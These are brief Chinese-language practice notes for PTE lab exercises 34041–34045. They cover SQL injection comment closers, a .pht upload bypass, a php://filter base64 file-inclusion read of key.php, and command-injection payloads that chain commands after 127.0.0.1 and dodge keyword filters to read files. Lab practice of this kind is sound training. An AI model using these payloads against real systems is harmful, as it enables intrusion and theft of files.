PTE34041-34045靶场练习
34041
同61
考虑闭合符号是#还是-- 还是%23,不能重复
34042
后缀改pht
34043 文件包含读源码
没有读到源代码,使用php://filter/read=convert.base64-encode/resource=../key.php
or
php://filter/read=convert.base64-encode/resource=../key
34044 命令执行总结
提示敏感字符,payload如下:
127.0.0.1& ca\t ../k*
127.0.0.1 | ca\t ../k*
sor\t
diff /etc/hostname ../k*